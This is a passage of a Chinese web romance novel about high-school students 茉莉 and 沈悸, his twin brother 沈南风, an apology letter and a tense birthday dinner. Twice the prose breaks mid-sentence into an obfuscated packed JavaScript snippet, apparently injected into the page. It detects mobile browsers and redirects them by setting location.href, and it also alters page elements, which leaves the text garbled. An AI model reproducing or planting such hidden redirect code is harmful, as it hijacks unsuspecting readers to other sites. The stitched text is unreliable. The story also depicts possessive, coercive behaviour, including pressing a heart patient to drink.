“不用。让他别霸占队伍,我拿了包子就走。”茉莉一口拒绝,指着前面那个人的同伴,“还有那个。” 沈悸扫了眼那男生,那男生抖的跟筛子一样,立马揪着另一人战战兢兢地走出队伍,点头哈腰地让位:“您请,您请。” 茉莉不客气地打了自己需要的早餐,拎着袋子就走,走之前,她看了眼沈悸:“别再不知后果的做这些事了。” 胡振跟在后面听到了那句话,叹了口气,心说这妹子勇啊,竟敢当众摔沈哥的面子,这下要凉了。 他还没进门呢,连茉莉在食堂都没看见,就见沈悸一个箭步冲过去救场。皱眉看了半天这才看到凹进人群里的茉莉。 他清楚沈悸的为人,看起来好相处,实际狠的要命,还不近女色,那林楚儿纠缠了两年连正眼都没瞧一下,有时候触及沈哥的逆鳞,就算尤物如她也会被冲一顿。 他还在惋惜红颜薄命,谁料,沈悸转身回来,伸手问:“纸巾,带了吗?” 胡振这等粗人自是不带这玩意,贺哲掏了掏兜,拿出半包纸巾,还没问出话,就见沈悸三步并两步跟了出去。 胡振偏着脑袋看,玻璃门外,从不近人情的沈悸拉住人女孩的袖子,然后拿出纸——仔细地擦掉她手上不小心沾上的南瓜粥。 他揉了揉眼睛,不可思议地又看了一遍,戳戳边上的贺哲,嘴都合不上:“贺哲,我眼睛好像坏了。” “巧了,我眼睛也不好使了。”贺哲抱臂,表现的倒没那么夸张,但心里还是泛滥成一片。 他没见过沈悸这副模样,沈悸从来不对任何事物上心,对于他来说,只要一切利己,他就不会浪费精力去顾其他事。 他的视线不自觉落在少女的侧颜。 漂亮,无辜,内里又倔强。 有意思的人。 胡振又看到了什么,拍拍贺哲:“诶,林楚儿。” 贺哲眯着眼看过去,食堂外,林楚儿眼睛眨也不眨地看着,他摇摇头:“修罗场。” 食堂外。 茉莉本想头也不回地走的。 可耳朵一听到沈悸喊自己名字的时候,她还是忍不住停住脚步回头。 不远处,沈悸站在那里,一如曾经那副模样。 他指了指自己的手:“手上,沾到了。” 是拿碗的时候不小心沾上的南瓜粥,刚才实在太激动,都忘了被南瓜粥烫红的手指。茉莉随便甩了甩:“才看到。” 眼前人迅速靠近,拿着纸巾不由分说地替她擦手。 纸巾早就浸了冷水,柔软的在掌心一下一下的擦拭,茉莉内心一触,看到了他同样被烫红的手。 “你一点都没感觉到痛吗。”她反抓住他的手,皱着眉头“你先去处理你自己。” “没关系。”沈悸抽回手,“我说过,我做什么,都跟你没有关系。” “可你不能不计后果的做事。”她固执地看着他,声音渐缓“最起码……不要再伤了自己……” 不要再因为那种人受伤了。 她拉住沈悸就想往医务室走,刚抬脚,她就突然意识到什么。 不对。 她为什么要那么担心,不是说要远离他吗。 受伤是他自找的,为什么自己会莫名其妙的生气。 沈悸眯眼看她:“怎么了?” 她迅速撤开手,慌乱地与另一人对上了视线。 是林楚儿。 没有多言,但从视线中,她能看出林楚儿眼中的复杂。 她突然有了借口逃跑,匆匆丢下一句:“我不认识医务室,你让别人带你去吧。” 说完,她错身逃走。 心如乱麻,完全不知道自己在想什么。 食堂的那件事很快就传开了,哪里都有旁人八卦的声音。 从刚入校开始,茉莉就是学校里话题不断的人物,如今又牵扯到风云人物沈悸,舆论更是火上加了油。 事情闹得太大,以至于校方都知道了,而那个男生又是个倔的,虽然表面上一口一个沈哥的喊着,背地里却在告状,哭诉自己是个被害者,不光要全校通报,还要沈悸当众给他念道歉信。 茉莉是从别人嘴里知道那些事情的。 她还在写作业,写着写着笔就停了,不由自主地就开始听她们议论这些事情。 “听说本来没什么的,是沈悸主动承认的事情,那个男的才那么放肆。” “我说呢,沈悸那样性格的人,怎么可能会任他在这猖獗。” “是真的吗?”她忍不住开口问道。 宋长乐应道:“是啊,我猜,那家伙可能是要找你的麻烦,所以沈悸主动承认吧。” 她垂下眼。心里一阵翻覆。 看着题目,却看不进眼里,本来清晰的思路变得越来越模糊。 直到熄灯很久,她都毫无睡意,盯着天花板不住发呆。 思来想去,她最终选择下床,拟写一份道歉信。 沈悸是不可能会公开道歉的,一定只会站在台上睨傲得志,一切既然因为她,那她就代为道歉吧。 她是不想管的,可一想到他为自己出头的模样,她就做不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271975|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐视不理。 因为她不想再欠他任何一个人情了。 好了,写完了。 第二天晨,茉莉提早了半个小时起床。 她想到沈悸可能不会处理烫伤,于是借口出去买书糊弄过去保安,一路小跑到不远的药店里想买烫伤的药膏送去。 虽然不知道管不管用,也不清楚第二天涂抹算不算晚,但这已经是她所尽的最大的关心了。 她跑回学校,钻进教学楼,往一班走去。 在一班的门口,她撞见了林楚儿。 她一眼就看到林楚儿手里的药袋,里面装满了各种药膏和消炎药,提早一步站在了门口,止住了她想偷溜进去放药膏的行动。 “是你?”林楚儿打量了她一眼,并没有看到她手里的膏药,“你来找沈悸吗?” 对方袋中的膏药她刚才在药店看到了,很贵,比她手里的贵上不止一倍。 但她囊中羞涩,还要生活,没办法买那最贵的膏药。 差距感顿时让她清醒,她缩回手,用外套盖住掌心捏住的膏药:“不是……我找朋友,路过。” 她在想什么,沈悸已经不是过去的沈悸了,他早就是沈家的少爷,就算没有她也会有别人去关心。 林楚儿没有怀疑,喃喃道:“这样啊。”她从袋里拿出一盒药膏递过去,“我记得你也有烫伤,女孩子要多注意些的。” “啊,好、谢谢……我先走了。”她讷讷地接过,低下头,仓皇地转身离开,离开时,还撞到了走廊上的另一个人。 她没来得及道歉,侧过身子绕了过去。 胡振莫名被撞到了一边,气的吹胡子瞪眼:“我去,谁啊,走路都不看路……诶,你干嘛!” 贺哲把他的帽兜盖他脸上,物理性让他闭嘴:“活不活了,看清楚那谁了吗?” “我特么看屁啊,你都给老子蒙上了。”胡振挣扎着露出头,呼呼喘着气,头一低在地上看见了什么,“这什么?” 贺哲瞥了眼,先一步捡起来揣进兜里:“别管,沈哥的。” “情书?” “我叫你别管。”贺哲踹了他一脚,“赶紧把早餐送桌洞,沈哥等会从主任那回来没看到早餐就得盘你。” 胡振气得不轻,边走边骂咧:“好你个贺哲,兄弟有你这样当的,不敢惹沈哥就可劲欺负我……” 林楚儿在一旁看了半天,没听清他们在说什么,但礼貌起见,她还是走过去伸手:“我来给吧,不麻烦你进去了。” 胡振连忙递过去,啐了口贺哲:“你看看人家,再看看你。” 贺哲淡淡瞥了一眼,视线始终停留在林楚儿身上。 对方似乎觉察到他的目光,微微抬了眼。 却是什么都没看到。 沈悸是被训了一节课才被放出来的。被主任放走时,晨会的铃声刚刚打响。 沈悸走出办公室,迎面就看到胡振和贺哲朝他走来。 两人都知道清楚沈悸去晨会就是当众挨骂的份,相顾一眼,胡振把贺哲推到了前面。 贺哲无奈,扬扬眉:“走啊沈哥,去楼上吹风。” 胡振在旁提议:“不行给他按住一顿揍,我早看他不顺眼了,就这货还让沈哥写道歉信给他?” “不用。”他往旁一靠,“自己干的事自己承担。” 他记得清楚。 不要不计后果的做事。 胡振听得直发蒙,嘴巴都合不上:“沈哥,你被什么东西上身了吗?” 这还是他认识的沈悸吗? 沈悸是个睚眦必报的人,他见识过的,那些个惹他的人全都被他一人摁翻在地上,严重的甚至能喜提医院七日游。 如今是咋了,遇到那姑娘后突然就收敛了,不仅主动认错,还愿意被公开批评,这是弃恶从善了? 沈悸瞟了胡振一眼,胡振瞬间闭了嘴。 沈悸想到什么,说:“叫你查的烟花公司搞了吗?” “搞了搞了,东西塞你桌洞了,不过这离啥圣诞节啊跨年不还早吗,查这个干啥?” “管好你自己。” 胡振直纳闷,一旁的贺哲开口问:“沈哥,实话说,写道歉信了吗?” “写个屁。”沈悸插兜就要去操场,“我能站上边挨骂就不错了。” “等下。”贺哲喊住他,把兜里揣了四十分钟的东西给了他,“别浪费,照着读。” 沈悸笑着接走,边看他边打开:“没见你那么殷勤过啊。” 包裹的纸张展开,密密麻麻写了一整页,字字真诚,句句用心。 他一眼就看出那并非是贺哲的字。 他迅速转身走向别处。 “去哪啊,那边也不是挨骂的处啊?”胡振挠着脑袋不解。 能去哪。 去找个呆瓜。 他阔步跨上楼梯,身形如飞,快速地往楼上走。 二班没见到那个傻子,没法,他只能往回走。 只是走到楼梯时,他听见了贺哲的声音。 “我已经给沈哥了,你找我要也没了。” “这样啊……”少女失望地喃喃。 他忍不住笑,坏心眼地靠在墙边,想等她过来吓她一跳。 “不过,你为什么要替沈哥道歉?难不成,你喜欢他?” 贺哲毫无顾忌地问,旁侧偷听者的心脏微微跃动,连带着耳根都开始发烫。 “你想多了,我只是觉得一开始招惹上事情的是我,不该多欠他一个人情。” 很平仄,冰冷的一句陈述。 甚至连停顿犹豫都没有。 少年匿在一墙之隔的阴暗里,低低地看着白色的墙。 他似乎又在多些没必要的期待了。 他干脆地转身离开,口袋里那张已经干掉的纸圈像他干涸的心。 却没听见,少女最后的那一句话。 “……他实在太累了,总得有人能让他歇息一会。” 22. 慢冷 知道沈悸的心高气傲,茉莉也不觉奇怪。 就是可惜了她熬夜写的道歉信,到最后也没用上。 她轻轻叹了口气,在全解上划了一圈重点,水笔却没水了,怎么划都划不出来。 没办法,她只能找同桌的同学借了支笔,继续标注。 午休时,她找老师批了个通行证,想去小店去买几根笔芯,顺便再给同桌带些东西。 小店就在学校门口不远处,几步就能走到,小店里聚集着许多趁午休时候来买小零食的学生。 她挑了几根笔芯,又选了同桌喜欢的巧克力,结完账,她走出了小店。 小店路边不知道何时停了辆气派的黑色轿车,轿车车门缓缓打开,从里走出一位身形高挑瘦削的男子。 茉莉忍不住多看了两眼,那男人恰好侧目,露出了一张清秀俊俏的,跟沈悸极为相似的脸。 茉莉一怔,迈步的脚顿在了原处。 沈南风。 这并非是她最近第一次见到沈南风了,沈南风最近总在学校出现,学校里也传开了,似乎是在处理沈悸的事情。 沈南风环顾一圈,正好跟她对上目光,她的心猛地一跳,迈步的动作也收了回来。 有认识沈悸的同学惊叹了几声,不过很快,有人就反应过来那并不是沈悸。 沈南风先是一愣,随后微微一笑,朝她的方向走了过来。 旁人纷纷让开,投向了好奇的目光,茉莉尴尬地低头,手里紧握着刚买的笔芯和巧克力,心跳得厉害。 “你好。”沈南风温润地笑着,“没想到能在这里巧遇。” “你好……”茉莉怯生生地回应,脸颊微红,声音低得几乎听不见。 上次见到沈南风还是在两年前,沈悸还是个村野小子的时候。 那时的她还讨厌过沈南风,为沈悸抗议为什么同样是一个父亲,待遇却天差地别。 虽然无人知道她这样的想法,但她依旧感觉到尴尬。 如今再见,沈南风依旧温文尔雅。 “上次见面还是在好久之前,我都没来得及跟你说说话。”沈南风又走近了几步,停在她三步之近的距离,“你变了,变得很漂亮,我差点都没认出来。” 沈南风对她的印象确实停留在两年前,她不自在地挪了挪脚步,手指不自觉地摩挲着包装袋,尽力掩饰内心的慌乱:“谢谢。” “正好遇见,我是替沈悸来学校道歉的,你知道他们老师的办公室怎么走吗?”沈南风略显苦恼,“不瞒你说,我是个路痴,上回来学校就走迷路了。” 话都说到这个份上,沈南风的态度又谦和的让人无法拒绝,她只能点头:“我带你去。” 沈南风颔首,笑道:“谢谢。对了,你叫什么名字?我到现在还不知道呢。” “茉莉,茉莉花的茉莉。” “茉莉?真是个漂亮的名字。” 他的夸赞丝毫听不出什么阿谀奉承,十分真诚,听得茉莉脸红扑扑的,心跳快到就要蹦出来。 这是跟沈悸不同的温和。 无论如何,伪装的面具都不可能跟真心的温情相提并论。 她忽的想到沈悸很久之前的阐述。 同父不同命,一个在温室中成长,一个在风雨中挣扎,为了生存,只能有样学样的伪装。 不想了,她清空大脑,带着沈南风走向教学楼。 带到地方,茉莉说:“到了。” 她转身离开,心悬着,朝反方向走去。 或许是曾经排斥过沈南风,她心中总有些许芥蒂,步伐也显得有些急促。 她想着应该不会再碰见沈南风,结果隔了几天,沈南风又出现在了学校。 他站在学校花坛处,穿着卡其色的大衣,格外显目,连带着花坛的花都似乎为他增色。 茉莉从远处经过,本想避开,却又被沈南风逮住脚步:“嘿,茉莉!” 没办法,她只能硬着头皮回了声。 沈南风笑的局促,表情略显尴尬:“那个……我又忘了该怎么走了。” 所以他是怎么驾车的啊?茉莉暗自腹诽,却没想到嘴上竟讲了出来。 沈南风:“其实,我就记得回家的路,去公司的路,和来学校的路,全都是由司机先开,然后我死记硬背的。” “没关系……我再带你去。” 紧接着,不知道是不是犯冲,一连几天,她都能在学校的各个角落发现沈南风迷茫的身影。 她只能一次次地带,以至于到后面,沈南风每天都会提着一大堆零食作为感谢。 茉莉无奈又好笑,心里却渐渐觉得这份麻烦也不那么讨厌了。 再次停留在教师办公室,茉莉本想打个招呼就走的,但沈南风又喊住了她:“放学方便吗,我们一起吃个便饭吧。不好意思,我瞒着你查了你的资料,看到你今天生日。” “啊?”茉莉愣住,连她自己都忘了生日这件事,忙打开手机看了一眼,还真是,茉双季还给她发了消息,祝贺她又长大一岁,说会抽时间来看她。 高三实在忙的团团转,根本无暇顾及那些闲事,茉莉又是个没什么仪式感的人,父亲又忙碌,生日啊节日的能过就过,记不起来就算了,总不能一直任性要父亲陪伴。 但她跟沈南风只有萍水之缘,说实话,还不算熟识,她实在不好意思让人家请客过生日。 她收起手机,想着措辞拒绝。 没等她想好,沈南风补充道:“其实我想找你了解一下沈悸,很久之前就想找你聊聊了,但一直没空。作为沈悸的哥哥,我也是最近几年才知道有这么个弟弟的,之前没陪伴,也没了解过,导致我们的关系……其实比较的紧张。” 沈南风说到最后的时候,脸上出现了少有的尴尬和无奈。 茉莉的话吞进喉咙。 能想象出来沈悸和沈南风的日常交往,一定是争锋相对的,剑拔弩张的。 茉莉沉默片刻,轻声道:“我可以跟你聊聊,只是,我知道的也不多。” 沈南风开心地眯起眼:“没关系,一点也够了。”他理了理着装,边走边朝着茉莉招手,“放学见,我会在门口等你的。” 茉莉:“诶,你等下——” 咚。 一声闷响,沈南风重重撞在了门上。 他闷哼一声,捂着额头,干干地笑了笑:“看来不是路痴了,是路盲,连门都撞。” 实在是有些笨笨的。忍不住了,茉莉不禁轻笑了一声。 沈南风略微滞了滞,随即说:“你笑起来很好看。”他打开门,迈步走进了办公室,“先走一步。” 门重又关上,茉莉也转身离开。 她不自觉地又把沈悸和沈南风的脸重合。 不想不想,一点都不一样。 - 天台,胡振大汗淋漓地拎着个挎包跑到沈悸身边,叫苦不迭:“沈哥,你真会讲,三公里的路跟我讲十分钟到。” 他以为不远,在学校旁边的路绕了一圈没看到店,结果找个人一问三公里开外。出租还打不到,他只能靠俩腿狂奔。 第一个目的地到了发现是个蛋糕店,奔波第二家店又是跑,但又怕那蛋糕糊了要挨揍,他只能小步小步的挪,还好,回来时打到了车子,他圆满完成了任务。 沈悸没搭理他的抱怨,拿着个雕刻刀在刻着什么,手一落:“东西放这。事情办妥了吧?” 胡振抹了把汗,把整个包给他:“办妥了,沈哥,今天你过生日啊?” “你感兴趣?”沈悸没看他,依旧在刻字。 胡振:“no,完全不感兴趣。” 口里是那么说的,但他还是在暗中琢磨,大着胆子去看了眼沈悸手里的玩意。 “戒指?”胡振眼睛一亮,猛地被沈悸瞪了一眼,他连忙捂嘴,“我该死,我啥也没看到。” 沈悸收起戒指,道:“多嘴。” 胡振心里边暗笑,原来这几天说有事不出来跟哥几个玩是在刻戒指啊。 不须多言,一看就知道是送给那叫茉莉的姑娘的。 啧啧啧。胡振不自觉咋舌。 完蛋咯,真是完蛋咯。 于是他的脑袋又喜提了一个巴掌。 沈悸东西揣进包里,拎着包最后警告了一声:“别乱说。” 胡振摸着脑袋,嬉皮笑脸道:“沈哥,我保证守口如瓶。”沈悸冷哼一 胡振摸着脑袋苦不堪言:“哪有替人办事还挨打的啊,我连跑路费都没收呢。” 走下天台,沈悸拿出了那个木雕戒指。 他早就看到了茉莉的档案,知道她今天生日,于是很早之前就在思考要送些什么给她。 不知道为什么,他第一时间想到了戒指。 代表忠诚、承诺、守护、唯一的戒指。 他知道他们其实没有什么很亲近的关系,但是他总觉得,戴上这个戒指,她或许就属于了自己。 凑巧那天有人撞上枪/口,让他有机会借着湿纸巾留下她的指环尺寸。 奇怪的独占欲驱使他去亲手雕刻了这个木雕戒指,从选材到打磨,再到雕字……每一刀都倾注了他的心力。 他轻轻摩挲着戒指上的刻痕。 就好像在抚摸少女纤细的指尖。 他站在走廊的边缘,双肘架着栏杆,目光不自觉投向二班的方向。 恰好,他在想某人,某人出现在了他的视线内。 他不觉得嘴角微扬,心情明媚地快步下楼,堵住了茉莉的去路。 少女明显愣了下,表情略显慌乱:“你、你怎么在这。” “放学见,记得看消息。”他神秘一笑,又快步离开。 莫名其妙的,她一句都没听懂。 茉莉怔怔地看他走开,迷惑地走进教室。 消息灵通的李青青便凑来桌前眨着眼睛问:“你又去送沈悸他哥哥了?” “是啊。” “我别班的朋友给我拍了张他的照片,长得挺像的,但气质不一样。”她摆弄着手机说,“不知道为啥,沈悸看起来老奸巨猾的,他哥哥倒是看起来很友善,一眼就觉得是翩翩公子。” 李青青的直觉还挺准的,茉莉心想,这应该就是相由心生吧。 她之前特意打听过,沈悸在学校一直是个品学兼优的好学生,除却他那自小泽村就带着的阴晴不定的脾气,那面具依旧严丝合缝地带在脸上。 李青青挂着贼笑靠近茉莉:“你跟沈家人关系不错啊,刚还看见沈悸在找你呢,难不成你是什么隐藏千金?” “跟他们就是以前见过几面而已,别想太多。”茉莉连忙反驳,把下节课的课本提前放在桌上,“好了好了,马上要上课了,别八卦了。” 李青青撇嘴:“肯定有鬼,问都不让问。”上课铃响了,她只能兴致缺缺地回座。 问问是没什么的,就是不知道为什么,一旦与沈南风和沈悸有关,她就想要逃避,心会乱七八糟的。 算了,等晚上去赴约的时候跟他讲清楚吧,等讲清楚了,他或许就不会一直随机刷新在学校某一处了。 下午的课程结束,茉莉收拾好书包,走出教室。 她特意留意了下一班的方向,虽然不在一层,但透过窗户的灯光,勉强能看出他们还在上课。 这样也好,免得被沈悸看到自己跟沈南风走得近,又要生出不必要的麻烦。她加快脚步,走向校门。 沈南风的车依旧停放在门口,还是中午的位置没有变动,似乎他一刻都没走,一直在这里等待。 应该是看到她的身影,沈南风从车里走出,替她打开了车门,还贴心地将手挡在门框上防撞,“请进。” 如此关心的动作让茉莉心头一暖,她暗道了声谢,随之坐进了车子。 车内弥漫着淡淡的香气,柑橘的香味十分让人放松,沈南风启动引擎,问道:“你有什么想吃的吗?” “我对这片还不熟悉,不如你定吧。”高三实在太忙,脚不沾地的,她根本没空去外面闲逛。 “那我来选了,有什么忌口的吗?” “没有什么忌口的,酸甜苦辣都能吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好吧。”沈南风喊来服务员,像报菜名一样呼啦啦点了一堆,茉莉看的目瞪口呆,在心里默算了一下,数目远超四位数。 沈南风最后还不忘问一句,“够吃吗?” 够得,太够了。 茉莉心中忐忑,却也不忍拂了他的好意,只能默默祈祷这顿饭别饱的太快,浪费掉实在亏心。 沈南风把菜单还给服务员,把鲜榨果汁推到茉莉面前:“喝点这个开胃。” 茉莉抿了一口,想了想,选择主动打开话题:“其实,你想了解沈悸,去问问他身边的两个朋友会更好。” 其实她跟沈悸交集的时间还不如胡振和贺哲,对比下来,肯定是胡振和贺哲更了解他。 沈南风思索片刻,说:“不,我想了解的,是以前的沈悸。”他的眼中有些许自嘲,“明明是同一个父母,我却一点都不知道这个弟弟的存在,反倒是现在才来关心,果然是太迟了吧。” 茉莉微微睁眼:“同一个父母?” 沈南风苦笑:“看来没错,沈悸应该是没告诉你。” “他只说,你们是同一个父亲,而他是私生子。” “其实不然,我跟他是同一个母亲,还是双胞胎。我现在的母亲无法怀孕,于是,为了延续血脉,我母亲……就用了这种办法。但我比较好运,母亲选择抱我回家养育。而这一切,是三年前我在父亲的书房外偷偷听到的。 “那个时候是沈悸来找父亲要钱,我才知道,我还有一个双胞胎弟弟,我去质问过父亲,父亲却拒绝回答,而且不让我去找沈悸。” 茉莉露出复杂的表情:“所以,你之前之所以出现在小泽村,是为了找沈悸?” 沈南风点头:“是的,我想自己去找弟弟。”他又苦恼,“但我是个路痴,每次去小泽村又得瞒着父亲只能一个人驾车去,还不知道沈悸在哪,只能无头苍蝇一样找。还好,我遇见了你。” 沈南风的表现看不出任何虚假,他是真的很关心沈悸。茉莉停住了咬吸管的动作,茉莉想了想,选了个比较委婉的措辞,“沈悸被接回去,是你的请求,还是因为什么?” 从她所听所见,沈父是一个极其狠心的人,对沈悸从未有过温情。 他知道沈悸过得不好,知道江复春的虐待,却始终无动于衷,不可能因为江复春的死亡而良心大开接他回来。 而且,他应该知道,沈悸的性格一定会被那些经历所扭曲的,那就更不可能让他回沈家,影响他培养好的独苗沈南风。 沈南风沉默着,手支着脑袋,揉乱了额发:“我知道你想说什么。”他指了指自己的心脏,“这里,其实是勉强支撑的。” “是心脏病?” “对,天生的,无法根治。”他说这话的时候,连语气都淡了几分。 “或许是我前半生过得太顺利了,上天把沈悸吃的苦等价转移给了我。”他有些感慨,“我去出生的医院里查了,我和沈悸是异卵双胞胎,他得病的几率很低,后来父亲又强制让他去体检,结果很正常。” 茉莉垂眸:“所以,沈悸被接回去……” 不是为了什么亲情大义,完全是为了培养他成为第二个沈南风。 他是替代品,可悲的没有人生,没有自我,没有未来。 见空气沉闷下来,沈南风转移话头,把沙拉推到茉莉面前:“吃些东西吧,前菜已经上了,然后再聊聊沈悸的事情。” “你想知道什么?” “他过去是怎么样的,还有,我的生母。”沈南风叹了口气,“其实第一次面对面见到沈悸,我是有些恐惧的。或许,你还会觉得我是个胆小鬼吧。” 茉莉明白他的意思。 因为沈悸是照搬沈南风的模样生活的。 他试图成为父亲心中的完美形象,以为这样就可以改变境遇。 但伪装的再像,也比不上那天生的温柔随和,怎么都是个伪冒劣质的假货。 “不,你不是胆小鬼。你愿意尝试接受那个素未谋面的弟弟,你是个很善良,很勇敢的人。”茉莉微笑着,目光闪烁。 如果她只是个局外人,或许也会选择沈南风吧。 在她没注意到的地方,沈南风的眸色略略惊讶,而后变成柔柔的暖意。 那折磨他许久的心脏竟鲜活的跃动了一下。 “那……沈悸是个什么样的人呢?”他轻声问道。 她悄声开口:“沈悸是个……” “——好巧啊,在聊什么?” 23. 碎裂 一声高昂的招呼声打断了茉莉的话,茉莉怵地往后看去,少年穿着校服,连包都没放下,就那么站在不远不近的地方,眯着眼探究似的看着他们。 “茉莉在这啊,还有……”他冷着脸,“哥哥。” 服务员急匆匆地跑来:“你好,是需要预定……” 沈悸甩了一眼服务员,扯着嘴角:“怎么,我跟我哥长得不像?” 服务员一愣,来回看了看。 沈南风点头示意服务员退下,服务员一走,沈悸便径直走过来,目光在两人间游移,嘴角勾起一抹复杂的笑:“看来,我来得不是时候?” 他看向茉莉:“茉莉,我让你看短信,为什么没看?” 短信?茉莉摸出手机,上学手机必须静音,又没什么必要看,手机便一直都是静音状态。 一看,全都是来自沈悸的未读消息。 沈悸的到来让气氛骤然变得紧张,茉莉挤出一丝笑容,尽力掩饰内心的慌乱:“我没注意……” 沈南风则面不改色,对沈悸道:“刚好,我有些事情想跟你聊聊。” 沈悸的目光在茉莉脸上停留片刻,转而去看沈南风,讥讽地笑:“我可没什么跟你谈的。” “沈悸,我……” “在学校一天了,确实饿了呢。”他挤进茉莉边上的座位,自顾自地拿着叉子叉起一块水果,轻咬一口,眼神却锐利地盯着沈南风,“哥,你不会介意我蹭饭吧?” 语气中的挑衅和敌意显而易见。 沈南风平静地摇头:“你吃。” “不是想问我的事情吗。”沈悸招招手,喊服务员上了一瓶酒。 红酒清澈的液体摇晃在玻璃杯中,沈悸倒了两杯,一杯推给沈南风,一杯留给自己。 “成年了还没跟你喝两杯呢,喝一杯,我告诉你一件。”沈悸睨着沈南风,眼底全是轻蔑。 茉莉连忙拿回酒杯,瞪大了眼睛:“你疯了吗,他有心脏病你还让他喝酒?!” 沈悸轻嗤一声,眼神冷冽:“心脏病?真是脆弱。”他仰头饮尽杯中酒,嘴角勾起一抹嘲讽的弧度,“沈南风,你的人生,真是被保护得太好了。” 比起他,简直是两个世界的极端,一个在阳光之下生长,一个却只能苟活在阴暗处,人见人嫌。 沈南风盯着酒杯,面色凝重。 他趁着茉莉不备,一口入肚,重重放下了杯子。 茉莉难以置信地看他,沈南风咳着嗽,脸色顿时变得通红,他捂着嘴:“没事……” 沈南风突然间气促起来,他抓住桌角,额上冒出细密的汗,他伸手去口袋里掏药,药瓶却滑落,茉莉慌忙捡起迅速拧开药瓶,倒出几粒药丸递到沈南风嘴边,他艰难吞下,呼吸逐渐平稳。 沈悸顿时收了笑,丢下叉子,转而看向茉莉。 “茉莉,我突然想起来还有些事情没办,你要跟我一起吗?” 他用的借口拙劣,一耳就能听出话里的意思。 茉莉为难地左右看,沈南风虚弱着,语气却依旧柔和:“你走吧,没关系的。” “真大度。”沈悸冷脸站起身,目光如刀,毫不停顿地离开。 这下茉莉更加为难了。 似是不让她感到纠结,沈南风拿出一个小本子,写下自己的电话撕给她,温言道:“帮我看着那小子,别又让他闯什么祸,有事打给我,我让司机接我回家。” 话已经说到这个份上,再拒绝就是不给人情面了。茉莉收下纸条,背着包追赶沈悸的身影。 茉莉追到门口,意外的,沈悸就在门口停顿,似乎在等她。 “你来了?” 他笑着,眼底却一点温度都没有。 “我——”茉莉还没说什么,沈悸便拽着她的手腕朝一辆停靠的车上走去。 车子被驶动,远离了那家餐厅。 与此同时,天空中突然炸出绚烂的烟花,火星化作无数光粒,如流星过界,如梦似幻地在夜空中闪烁。 烟花接连不断的在空中绽放,路上行人纷纷驻足观看,忍不住拿出手机拍照留念。 后视镜中,少女依旧紧张地盯着那远去的餐厅,丝毫没察觉到他逐渐黯淡的脸色。 他的准备成了独角戏,那些所谓的准备,根本无关紧要。 他握着方向盘,一脚油门猛踩了下去,车速飞快,街道两旁的景物迅速后退,茉莉被吓了一跳,紧紧握住把手,心跳也随之加速。 “你疯了吗,开这么快做什么!” 对,他是疯了。 疯了才会去留意她的生日,才会熬着长夜雕刻那不值一提的戒指,才会提早几个月去定那漫天烟花。 漫天烟花下,他的心却如坠冰窖,那些精心准备的惊喜,此刻显得如此苍白无力。 不过是一场自导自演的笑话罢了。 他驶向那片熟悉的江边,夜色如墨,江水泛着冷光。他猛地刹车,后视镜里映出茉莉那惊魂未定的脸。 茉莉还喘着粗气,心如乱麻,沈悸打开车门,把她拽了出来。 他把她往无人的江边空地一推,她踉跄几步才站稳。 江边很冷,冷风扑面而来,刮痛了她的脸颊。 “沈悸,你吃错药了?”茉莉拧着眉,“你哥哥还在餐厅里,你就不担心出事吗?” “你看见了那烟花了吗?”他恍若未闻,固执地问着,“好看吗?” “我们得回去!” “还有江对面,那里有电子烟花屏,你看见了吗?” “沈悸!你到底在干嘛!” “我?”沈悸硬扯着唇角,不知道是不是被风吹的,眼睛酸涩的要命,“我在犯贱。” “他是真心想对你好的!” 少年的眼中的光慢慢熄灭。 “连你也在意他,大过我。”沈悸的声音在冷风中显得格外平静。 江对面的电子烟花屏上,闪烁着“生日快乐”的字样,显得格外刺眼。 他像个被遗弃的木偶,无力地垂下双手,任由寒风撕扯着最后的尊严。那四个字,如同利刃,一刀刀割裂他心底的幻想。 “我是他的影子,是他的替代品,是任何人眼中可有可无的存在。” “过去是,现在是,未来也是。” “所以,我到底是什么?” “哦,是你心中的疯子,是个混蛋,是个人渣,是条狗都不如的畜生,不管我做成什么样,模仿着沈南风做个乖巧的孩子,还是不如他。” 水拍打着岸边的石头,发出阵阵声响。 他的声音低沉,带着一丝绝望,心里凉成了一片。 茉莉愣住,寒风刺骨,她终于看清沈悸眼中的那片黑。 藏在袖下被抓烂的手背不自觉开始发痒。 他装什么好人呢,反正对于她来说,自己只是个无关紧要的麻烦罢了。 “算了。”他展开一个残忍的笑,“这里距离学校二十公里,要是你体力足够的话,天亮前还能走到学校。” 茉莉瞪大了眼睛。 她在说什么都听不见了。 干脆让他坏人坏到底好了。 他抑着情绪,头也不回地上了车。 关上车门,外面的一切都被隔绝在外。 好安静,安静的像他早已腐朽的心脏。 他逼着自己不去看后视镜,让自己重新恢复到那种残忍的模样。 做不到,做不到,心脏躁动不安,根本平静不下来。 他好像快要疯了。 若不是沈南风因病孱弱,他怎么能被接回沈家。 从他回到沈家的那刻起,他就失去了成为沈悸的权利,而是沈南风的替代品。 他是个人渣,是个混蛋,不懂这样的感觉是什么,只能把自己想到的,能做的都做一遍。 因为世界上唯一觉得他是沈悸的,只有她一个。 可那唯一的救赎,却又一次让他陷进漩涡,无法抽身。 江边。 茉莉紧着外套,哆嗦着走在荒无人烟的路上。江风卷起她的发丝,映衬着因冷而发红的脸颊。 这里偏郊,深夜根本无人经过,连辆车都看不见,路灯都没几个亮着,周围全是一片暗。 她想打电话,但是郊区一点信号都没有,她只能边走边找信号,手机的电量也在急速降低。 为了省电,她只能先揣回兜里,继续往前走。 夜风呼啸着,像一声一声的悲鸣。 时有一些野猫和鸟鸣声,显得更加可怖荒凉。 脚步声在寂静中显得格外清晰,她猛地回头,却只见到摇曳的树影。 她本就怕黑,此刻更是心慌意乱,不知不觉就开始自己吓自己,幻想着身后有鬼如影随形,或是突然遇见什么匪徒命丧于此。 